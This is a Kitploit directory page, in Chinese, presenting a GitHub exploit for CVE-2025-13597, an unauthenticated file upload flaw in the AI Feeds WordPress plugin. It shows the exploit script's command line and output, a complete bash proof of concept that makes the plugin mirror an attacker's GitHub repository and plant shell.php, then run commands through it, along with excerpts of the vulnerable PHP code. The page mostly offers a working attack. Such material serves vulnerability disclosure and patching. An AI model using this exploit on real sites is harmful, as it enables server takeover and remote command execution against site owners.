Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-13597 — AI Feeds <= 1.0.11 - 未认证任意文件上传 | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-13597
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubd0n601/cve-2025-13597

CVE-2025-13597

AI Feeds <= 1.0.11 - 未认证任意文件上传

查看仓库
19个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

AI Feeds <= 1.0.11 - 未经验证的任意文件上传

AI Feeds WordPress 插件 1.0.11 及以下版本在 actualizador_git.php 文件中存在一个未经验证的远程代码执行漏洞。该文件可直接通过 HTTP 访问,无需任何身份验证或授权检查,允许未经验证的攻击者下载任意 GitHub 仓库并覆盖插件文件,从而导致远程代码执行。

快速漏洞利用

提供了一个 CVE-2025-13597.py 脚本来演示远程攻击者上传 shell.php 并执行远程代码:

root@kitploit:~
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] 正在利用 actualizador_git.php 漏洞...
[*] 从 GitHub 仓库下载并安装 shell:d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds

[*] 漏洞利用执行完毕。正在检查 shell.php 是否已创建...

[*] 测试 shell 访问...
www-data


[*] Shell 应可通过以下地址访问:
    http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND

技术分析

漏洞存在于 /wp-content/plugins/ai-feeds/actualizador_git.php 文件中。该文件实现了一个 GitHub 仓库镜像系统,可直接通过 HTTP 访问,且没有任何安全控制。

代码路径分析

  1. 直接文件访问(第 1-17 行): 该文件缺少标准的 WordPress ABSPATH 检查(if (!defined('ABSPATH')) exit;),该检查可防止直接通过 HTTP 访问。参数直接从 $_GET 读取而未经验证:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_ai-feeds';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. 令牌验证(第 26 行): 唯一验证检查令牌是否为空或默认值。未执行任何身份验证或授权:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. GitHub API 请求(第 31 行,35-58 行): 脚本使用用户控制的参数从 GitHub API 下载 ZIP 文件:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

    函数将令牌发送到 Authorization 头部,但未对仓库所有者或内容进行任何验证。

概念验证

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] 正在利用 actualizador_git.php 漏洞..."
echo "[*] 从 GitHub 仓库下载并安装 shell:${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] 漏洞利用执行完毕。正在检查 shell.php 是否已创建..."
echo ""

echo "[*] 测试 shell 访问..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell 应可通过以下地址访问:"
echo "    ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"
下载工具
curl_download()
  • ZIP 解压和文件操作(第 144-169 行): 下载的 ZIP 被解压,文件直接复制到插件目录:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
    

    rrcopy_into() 函数递归地将解压仓库中的所有文件复制到当前工作目录(插件目录),覆盖现有文件。

  • 文件删除(第 164-165 行): 删除下载仓库中不存在的文件:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    mirror_delete_extras() 函数删除插件目录中在仓库清单中不存在的任何文件。